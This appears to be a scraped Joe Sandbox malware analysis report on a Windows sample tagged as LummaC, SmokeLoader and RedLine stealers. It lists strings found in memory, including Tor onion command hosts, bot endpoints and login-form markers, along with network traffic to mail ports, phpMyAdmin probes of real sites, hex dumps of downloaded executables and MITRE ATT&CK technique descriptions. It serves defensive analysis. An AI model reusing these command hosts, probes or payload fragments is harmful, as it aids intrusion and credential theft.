Source: csrss.exe, 0000000F.00000002.4115690481.0000000000824000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Referer: X-Requested-With: XMLHttpRequest Content-Type: application/json;127.0.0.1:--ignore-missing-torrcect[] = --SOCKSPort--DataDirectory--bridgehttp://x5outc76j5k4qrzaqdj2m6eq4amkkpndbqyvmvaz6yl4mmfco6oqxsqd.onionT/reg.php?upd.php?/task.php?/rep.phperr.php?&n=v=b=p=repsf=e=nocache=SEH exceptionSEHSTD: C++.dll4kPv6aJG8e\!update!sleep !regcheckcreateObjectwp-login.phpwp-admin/name="loginform"ionW[] = id="loginform"name="log"id="user_login"name="pwd"id="user_pass"administrator/administrator/index.php ] = id="form-login"action="/administrator= = id="mod-login-username"nd[] = name="username"id="mod-login-password" name="passwd"admin.phpDataLifesubactionusernamepasswordOK{
Source: A0FE.exe, 00000012.00000003.2188506230.00000000051F0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Nyiakeng_Puachue_HmongPakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlDeleteFunctionTableRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSao Tome Standard TimeSeImpersonatePrivilegeSetupDiEnumDriverInfoWSetupDiGetClassDevsExWTasmania Standard TimeTor bootstrap progressTor service is runningUnsupported Media TypeWSAGetOverlappedResultWSALookupServiceBeginWWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8access-control-max-ageaddress already in useadvapi32.dll not foundargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryclient not initializedcompileCallabck: type couldn't create devicecouldn't get file infocouldn't start servicecoulnd't write to filecreate main window: %wdecode and decrypt: %wdriver: bad connectionduplicated defer entryelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionencrypt and encode: %werror decoding messageerror parsing regexp: failed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to register: %wfailed to set UUID: %wframe_data_pad_too_bigfreeIndex is not validgenerate challenge: %wgetenv before env initgzip: invalid checksumheadTailIndex overflowheader field %q = %q%shide process ID %d: %whpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://localhost:3433/https://duniadekho.baridna: invalid label %qinappropriate fallbackinteger divide by zerointegrity check failedinterface conversion: internal inconsistencyinvalid Trailer key %qinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressmultiple :: in addressndndword5lpb7eex.onionnetwork is unreachableno connection providednon-Go function at pc=oldoverflow is not niloperation was canceledoverflowing coordinateozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionread response body: %wreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningset Tor mode to %s: %wskipping Question Nameskipping Question Typespan has no free spacesql: no Rows availablestack not a power of 2status/bootstrap-phasetrace reader (blocked)trace: alloc too largetransaction is stoppedtransaction not existsunexpected length codeunexpected method stepwirep: invalid p statewrite on closed bufferx509: malformed issuerzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2

Source: http	HTTP: www.newriverclimbing.com/phpmyadmin
Source: http	HTTP: www.u90soccercenter.com/phpmyadmin
Source: http	HTTP: www.ecochild.com.au/phpmyadmin
Source: http	HTTP: artusopastry.com/phpmyadmin
Source: http	HTTP: www.newriverclimbing.com/phpmyadmin
Source: http	HTTP: www.u90soccercenter.com/phpmyadmin
Source: http	HTTP: www.soytijuana.com/phpmyadmin

Source: global traffic	TCP traffic: 192.168.2.4:49748 -> 37.120.168.19:9001
Source: global traffic	TCP traffic: 192.168.2.4:49749 -> 46.20.35.112:9001
Source: global traffic	TCP traffic: 192.168.2.4:49751 -> 38.47.221.193:34368
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 146.0.36.87:9006
Source: global traffic	TCP traffic: 192.168.2.4:51171 -> 142.250.27.26:995
Source: global traffic	TCP traffic: 192.168.2.4:51198 -> 199.59.243.225:143
Source: global traffic	TCP traffic: 192.168.2.4:51210 -> 154.209.61.218:143
Source: global traffic	TCP traffic: 192.168.2.4:51253 -> 173.194.216.27:143
Source: global traffic	TCP traffic: 192.168.2.4:51265 -> 209.85.202.26:143
Source: global traffic	TCP traffic: 192.168.2.4:51273 -> 173.203.187.1:143
Source: global traffic	TCP traffic: 192.168.2.4:51272 -> 15.197.142.173:143
Source: global traffic	TCP traffic: 192.168.2.4:51307 -> 135.148.130.76:143
Source: global traffic	TCP traffic: 192.168.2.4:51483 -> 20.216.139.123:995
Source: global traffic	TCP traffic: 192.168.2.4:51508 -> 108.163.227.170:995
Source: global traffic	TCP traffic: 192.168.2.4:51554 -> 104.47.75.164:143
Source: global traffic	TCP traffic: 192.168.2.4:51556 -> 104.47.75.228:143
Source: global traffic	TCP traffic: 192.168.2.4:51561 -> 212.159.9.200:143
Source: global traffic	TCP traffic: 192.168.2.4:51574 -> 217.72.192.67:143
Source: global traffic	TCP traffic: 192.168.2.4:51596 -> 162.215.248.42:143
Source: global traffic	TCP traffic: 192.168.2.4:51614 -> 153.92.0.100:995
Source: global traffic	TCP traffic: 192.168.2.4:51658 -> 160.124.181.5:143
Source: global traffic	TCP traffic: 192.168.2.4:51659 -> 3.64.163.50:995
Source: global traffic	TCP traffic: 192.168.2.4:51883 -> 69.49.101.236:995
Source: global traffic	TCP traffic: 192.168.2.4:51912 -> 209.85.202.27:995
Source: global traffic	TCP traffic: 192.168.2.4:51915 -> 64.233.186.26:995
Source: global traffic	TCP traffic: 192.168.2.4:51947 -> 188.165.47.122:143
Source: global traffic	TCP traffic: 192.168.2.4:52036 -> 18.133.136.187:995
Source: global traffic	TCP traffic: 192.168.2.4:52162 -> 195.145.184.85:995
Source: global traffic	TCP traffic: 192.168.2.4:52240 -> 52.101.137.0:143
Source: global traffic	TCP traffic: 192.168.2.4:52280 -> 104.47.71.202:995
Source: global traffic	TCP traffic: 192.168.2.4:52299 -> 91.213.13.233:143
Source: global traffic	TCP traffic: 192.168.2.4:52301 -> 52.101.40.24:143
Source: global traffic	TCP traffic: 192.168.2.4:52420 -> 176.74.27.137:995
Source: global traffic	TCP traffic: 192.168.2.4:52432 -> 104.47.59.138:995
Source: global traffic	TCP traffic: 192.168.2.4:53221 -> 66.96.140.50:143
Source: global traffic	TCP traffic: 192.168.2.4:53524 -> 212.227.15.41:143
Source: global traffic	TCP traffic: 192.168.2.4:53525 -> 52.101.42.10:995
Source: global traffic	TCP traffic: 192.168.2.4:53692 -> 148.163.129.51:143
Source: global traffic	TCP traffic: 192.168.2.4:53829 -> 64.92.112.83:143
Source: global traffic	TCP traffic: 192.168.2.4:53869 -> 162.255.118.51:143
Source: global traffic	TCP traffic: 192.168.2.4:53895 -> 3.94.41.167:995
Source: global traffic	TCP traffic: 192.168.2.4:53902 -> 13.248.169.48:143
Source: global traffic	TCP traffic: 192.168.2.4:53932 -> 44.229.66.233:143
Source: global traffic	TCP traffic: 192.168.2.4:53935 -> 64.233.186.27:143
Source: global traffic	TCP traffic: 192.168.2.4:53937 -> 198.54.122.240:143
Source: global traffic	TCP traffic: 192.168.2.4:53941 -> 143.244.202.96:995
Source: global traffic	TCP traffic: 192.168.2.4:53942 -> 164.90.197.162:143
Source: global traffic	TCP traffic: 192.168.2.4:54037 -> 52.101.73.8:143
Source: global traffic	TCP traffic: 192.168.2.4:54039 -> 162.215.248.33:143
Source: global traffic	TCP traffic: 192.168.2.4:54088 -> 104.47.73.138:143
Source: global traffic	TCP traffic: 192.168.2.4:54092 -> 104.47.55.138:143
Source: global traffic	TCP traffic: 192.168.2.4:54095 -> 66.96.140.165:995
Source: global traffic	TCP traffic: 192.168.2.4:54139 -> 185.53.56.44:143
Source: global traffic	TCP traffic: 192.168.2.4:54327 -> 185.103.16.167:143
Source: global traffic	TCP traffic: 192.168.2.4:54345 -> 52.101.73.6:143
Source: global traffic	TCP traffic: 192.168.2.4:54360 -> 64.182.43.254:143
Source: global traffic	TCP traffic: 192.168.2.4:54377 -> 193.25.197.210:143
Source: global traffic	TCP traffic: 192.168.2.4:54507 -> 157.112.187.45:995
Source: global traffic	TCP traffic: 192.168.2.4:54675 -> 178.33.163.4:143
Source: global traffic	TCP traffic: 192.168.2.4:54868 -> 69.20.103.147:990
Source: global traffic	TCP traffic: 192.168.2.4:55120 -> 103.20.214.243:990
Source: global traffic	TCP traffic: 192.168.2.4:55122 -> 217.70.184.38:222
Source: global traffic	TCP traffic: 192.168.2.4:55123 -> 95.173.180.22:990
Source: global traffic	TCP traffic: 192.168.2.4:55125 -> 185.230.63.107:222
Source: global traffic	TCP traffic: 192.168.2.4:55129 -> 198.49.23.144:222
Source: global traffic	TCP traffic: 192.168.2.4:55141 -> 83.98.155.23:990
Source: global traffic	TCP traffic: 192.168.2.4:55343 -> 15.197.192.55:143
Source: global traffic	TCP traffic: 192.168.2.4:55765 -> 3.33.152.147:143
Source: global traffic	TCP traffic: 192.168.2.4:55861 -> 212.159.8.200:143
Source: global traffic	TCP traffic: 192.168.2.4:55987 -> 66.96.140.52:143
Source: global traffic	TCP traffic: 192.168.2.4:56101 -> 18.133.136.186:995
Source: global traffic	TCP traffic: 192.168.2.4:56120 -> 91.213.13.170:995
Source: global traffic	TCP traffic: 192.168.2.4:56224 -> 3.33.130.190:995
Source: global traffic	TCP traffic: 192.168.2.4:56235 -> 52.101.132.30:143
Source: global traffic	TCP traffic: 192.168.2.4:56237 -> 52.101.40.0:143
Source: global traffic	TCP traffic: 192.168.2.4:56238 -> 104.47.71.138:143
Source: global traffic	TCP traffic: 192.168.2.4:56421 -> 185.112.125.71:222
Source: global traffic	TCP traffic: 192.168.2.4:56599 -> 216.239.32.21:990
Source: global traffic	TCP traffic: 192.168.2.4:56601 -> 205.178.187.24:990
Source: global traffic	TCP traffic: 192.168.2.4:56609 -> 64.250.92.220:990
Source: global traffic	TCP traffic: 192.168.2.4:56793 -> 66.96.140.164:995
Source: global traffic	TCP traffic: 192.168.2.4:56999 -> 147.182.160.18:143
Source: global traffic	TCP traffic: 192.168.2.4:57449 -> 52.101.8.36:995
Source: global traffic	TCP traffic: 192.168.2.4:57521 -> 104.21.18.123:143
Source: global traffic	TCP traffic: 192.168.2.4:57525 -> 67.231.154.163:143
Source: global traffic	TCP traffic: 192.168.2.4:57747 -> 52.86.6.113:995
Source: global traffic	TCP traffic: 192.168.2.4:57750 -> 76.223.54.146:143
Source: global traffic	TCP traffic: 192.168.2.4:57812 -> 35.165.242.85:995
Source: global traffic	TCP traffic: 192.168.2.4:57887 -> 104.47.73.10:143
Source: global traffic	TCP traffic: 192.168.2.4:57888 -> 52.101.68.3:143
Source: global traffic	TCP traffic: 192.168.2.4:58117 -> 104.47.66.10:995
Source: global traffic	TCP traffic: 192.168.2.4:58156 -> 185.53.56.46:143
Source: global traffic	TCP traffic: 192.168.2.4:58266 -> 91.213.13.231:995
Source: global traffic	TCP traffic: 192.168.2.4:58427 -> 52.101.40.2:143
Source: global traffic	TCP traffic: 192.168.2.4:58530 -> 18.133.136.188:995
Source: global traffic	TCP traffic: 192.168.2.4:58538 -> 52.101.73.4:143
Source: global traffic	TCP traffic: 192.168.2.4:58555 -> 52.101.137.2:143
Source: global traffic	TCP traffic: 192.168.2.4:58694 -> 66.96.140.51:995
Source: global traffic	TCP traffic: 192.168.2.4:59807 -> 64.91.249.20:990
Source: global traffic	TCP traffic: 192.168.2.4:59812 -> 216.40.47.17:990
Source: global traffic	TCP traffic: 192.168.2.4:59813 -> 185.230.63.171:990
Source: global traffic	TCP traffic: 192.168.2.4:60623 -> 15.197.148.33:995
Source: global traffic	TCP traffic: 192.168.2.4:60838 -> 66.96.160.139:990
Source: global traffic	TCP traffic: 192.168.2.4:60842 -> 69.49.101.57:990
Source: global traffic	TCP traffic: 192.168.2.4:61019 -> 45.56.74.212:990
Source: global traffic	TCP traffic: 192.168.2.4:61873 -> 103.26.43.131:222
Source: global traffic	TCP traffic: 192.168.2.4:61970 -> 209.126.24.60:990
Source: global traffic	TCP traffic: 192.168.2.4:63033 -> 198.185.159.144:990
Source: global traffic	TCP traffic: 192.168.2.4:63792 -> 104.21.4.150:990
Source: global traffic	TCP traffic: 192.168.2.4:65107 -> 104.21.20.204:222
Source: global traffic	TCP traffic: 192.168.2.4:65121 -> 199.60.103.25:990
Source: global traffic	TCP traffic: 192.168.2.4:65120 -> 151.101.1.195:990
Source: global traffic	TCP traffic: 192.168.2.4:65152 -> 76.223.105.230:990
Source: global traffic	TCP traffic: 192.168.2.4:50600 -> 217.160.0.164:222
Source: global traffic	TCP traffic: 192.168.2.4:50707 -> 213.186.33.19:222
Source: global traffic	TCP traffic: 192.168.2.4:50791 -> 199.34.228.152:990
Source: global traffic	TCP traffic: 192.168.2.4:50826 -> 23.227.38.32:990
Source: global traffic	TCP traffic: 192.168.2.4:51700 -> 198.49.23.145:222
Source: global traffic	TCP traffic: 192.168.2.4:51726 -> 104.143.9.211:990
Source: global traffic	TCP traffic: 192.168.2.4:52524 -> 217.19.254.237:222
Source: global traffic	TCP traffic: 192.168.2.4:52766 -> 208.113.220.170:990
Source: global traffic	TCP traffic: 192.168.2.4:52954 -> 95.128.72.24:222
Source: global traffic	TCP traffic: 192.168.2.4:53110 -> 205.178.189.131:222
Source: global traffic	TCP traffic: 192.168.2.4:53111 -> 217.76.128.47:222
Source: global traffic	TCP traffic: 192.168.2.4:53113 -> 162.159.134.42:222
Source: global traffic	TCP traffic: 192.168.2.4:53115 -> 41.203.27.92:990
Source: global traffic	TCP traffic: 192.168.2.4:53124 -> 162.255.119.149:990
Source: global traffic	TCP traffic: 192.168.2.4:53133 -> 217.160.0.195:222
Source: global traffic	TCP traffic: 192.168.2.4:53181 -> 54.69.113.134:222
Source: global traffic	TCP traffic: 192.168.2.4:53186 -> 67.152.113.12:222
Source: global traffic	TCP traffic: 192.168.2.4:53187 -> 96.45.112.177:990
Source: global traffic	TCP traffic: 192.168.2.4:53190 -> 199.34.228.100:990
Source: global traffic	TCP traffic: 192.168.2.4:53194 -> 77.72.0.94:222
Source: global traffic	TCP traffic: 192.168.2.4:53200 -> 208.113.184.91:222
Source: global traffic	TCP traffic: 192.168.2.4:53222 -> 205.178.189.129:222
Source: global traffic	TCP traffic: 192.168.2.4:54604 -> 199.60.103.125:222
Source: global traffic	TCP traffic: 192.168.2.4:54633 -> 151.101.65.195:222
Source: global traffic	TCP traffic: 192.168.2.4:54690 -> 13.248.243.5:222
Source: global traffic	TCP traffic: 192.168.2.4:56297 -> 108.167.135.109:990
Source: global traffic	TCP traffic: 192.168.2.4:56309 -> 162.215.248.230:222
Source: global traffic	TCP traffic: 192.168.2.4:56341 -> 95.216.227.177:2023

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.24.0Date: Wed, 20 Dec 2023 02:12:39 GMTContent-Type: application/octet-streamConnection: closeContent-Description: File TransferContent-Disposition: attachment; filename=30a7378c.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 93 36 6d 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 4a 02 00 00 12 f9 01 00 00 00 00 fb 7d 00 00 00 10 00 00 00 60 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 fb 01 00 04 00 00 b0 9e 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e4 4e 02 00 3c 00 00 00 00 10 fa 01 a0 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e0 49 02 00 00 10 00 00 00 4a 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 38 94 f7 01 00 60 02 00 00 6a 01 00 00 4e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6b 65 68 69 00 00 00 01 00 00 00 00 00 fa 01 00 02 00 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 ea 00 00 00 10 fa 01 00 ec 00 00 00 ba 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 20 Dec 2023 02:12:47 GMTContent-Type: application/octet-streamContent-Length: 6968258Connection: keep-aliveContent-Description: File TransferContent-Disposition: attachment; filename=tuc5.exeContent-Transfer-Encoding: binaryExpires: 0Cache-Control: must-revalidatePragma: publicCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xm0OnJ5OWRBO8Um7blzL2OzUJRPqv8OI8%2BN%2FnDgN2JdbiPbi28ZX4clFV3PCtv3vbt%2B8w%2Fd3Ju5afQi6wPjyqGY0MWCGiq%2Fqp8z%2B7oKBmGXXBe9mtxbR6prnhuHXNzN7R2eQiqzi"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845cc51f57d9d1-MIAalt-svc: h3=":443"; ma=86400Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 9f 4d 82 65 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 94 00 00 00 46 00 00 00 00 00 00 40 9c 00 00 00 10 00 00 00 b0 00 00 00 00 40 00 00 10 00 00 00 02 00 00 01 00 00 00 06 00 00 00 04 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 00 00 00 00 02 00 00 80 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 50 09 00 00 00 10 01 00 00 2c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 64 93 00 00 00 10 00 Data Ascii: MZP@!L!This program must be run under Win32$7PELMeF@@@@P,CODEd

Source: Joe Sandbox View	IP Address: 95.216.227.177 95.216.227.177
Source: Joe Sandbox View	IP Address: 217.76.128.47 217.76.128.47

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 523e76adb7aac8f6a8b2bf1f35d85d1f
Source: Joe Sandbox View	JA3 fingerprint: 83d60721ecc423892660e275acc4dffd

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3yPvcmrbqS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: SmokeLoader

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Privilege Escalation

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\VBPlayerLIB\VBPlayerLIB.exe

C:\Program Files (x86)\VBPlayerLIB\bin\x86\7z.exe (copy)

C:\Program Files (x86)\VBPlayerLIB\bin\x86\COPYING.LGPLv2.1 (copy)

Windows Analysis Report
3yPvcmrbqS.exe

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
